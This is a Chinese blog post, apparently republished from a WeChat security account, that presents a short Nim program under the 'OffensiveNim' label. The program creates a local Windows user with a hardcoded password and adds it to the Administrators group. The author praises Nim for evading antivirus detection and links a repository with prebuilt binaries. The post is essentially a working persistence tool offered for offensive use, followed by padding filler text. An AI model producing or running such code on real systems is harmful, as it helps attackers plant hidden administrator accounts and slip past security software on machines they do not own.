OffensiveNim之NetUser

  • A+
所属分类:安全文章

    哇,最近Nim火的狠诶。周末花了点时间来学习这个东西,发现还可以,就是语法有一些恶心,小众语言的通病。然后写了个简单的小工具,用来添加用户,源码如下,windows下编译即可。


import winim
var dwLevel:DWORD = 1 dwError:DWORD = 0 UserInfos:USER_INFO_1 account:LOCALGROUP_MEMBERS_INFO_3

UserInfos.usri1_name = L"test123"UserInfos.usri1_password = L"[email protected]"UserInfos.usri1_priv = USER_PRIV_USERUserInfos.usri1_home_dir = NULLUserInfos.usri1_comment = NULLUserInfos.usri1_flags = UF_SCRIPTUserInfos.usri1_script_path = NULL
account.lgrmi3_domainandname = UserInfos.usri1_name
let retVal = NetUserAdd( NULL, dwLevel , cast [LPBYTE](&UserInfos), cast [ptr DWORD](dwError) )

if retVal != NERR_Success: echo retValelse: echo "[+]User Add Successful !!!"
let fiVal = NetLocalGroupAddMembers( NULL, L"Administrators", 3, cast [LPBYTE](&account), 1 )

if fiVal != NERR_Success: echo fiValelse: echo "[+]User Add to Administrator Group Successful !!!"


来看一看效果:


OffensiveNim之NetUser


之前也用C写过这类工具,Nim小众的原因导致了其免杀效果的优越。

Nim版本:


OffensiveNim之NetUser

C版本:

OffensiveNim之NetUser



代码已上传至GitHub(https://github.com/lengjibo/NetUser),不想编译的同学可以去realease处下载编译好的版本。


参考文章:

      https://nim-lang.org/

  https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd

    https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers



凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数


     ▼
更多精彩推荐,请关注我们

OffensiveNim之NetUser



本文始发于微信公众号(鸿鹄实验室):OffensiveNim之NetUser

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: